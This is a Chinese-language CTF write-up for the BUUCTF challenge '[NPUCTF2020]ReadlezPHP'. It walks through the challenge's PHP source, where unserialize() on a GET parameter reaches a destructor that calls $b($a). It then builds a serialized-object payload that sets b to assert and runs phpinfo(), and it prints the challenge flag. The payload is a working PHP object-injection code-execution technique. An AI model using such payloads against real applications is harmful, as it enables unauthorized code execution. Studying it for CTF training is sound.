web buuctf [NPUCTF2020]ReadlezPHP
知识点:assert()断言函数assert — 检查一个断言是否为 falseassert(mixed $assertion, Throwable $exception = ?): bool如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。1.开题:2.查看源代码 view-source:url在源码下面查看,获得源码<?php#error_repo
·
知识点:assert()断言函数
assert — 检查一个断言是否为 false
assert(mixed $assertion, Throwable $exception = ?): bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
1.开题:
2.查看源代码 view-source:url
在源码下面
查看,获得源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
代码审计,关键代码漏洞是
echo $b($a) :令b=assert,a=php代码,可以执行php代码,结合前面的echo,将代码结果进行输出
3.构造payload
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
}
$c=new HelloPhp();
$c->a="phpinfo()";
$c->b="assert";
$c=serialize($c);
print($c);
生成payload:data=
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
4.传参执行
ctrl+f搜索flag
flag{c54b3486-ba6e-403c-bebc-12c3b5b14480}
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
已为社区贡献4条内容
所有评论(0)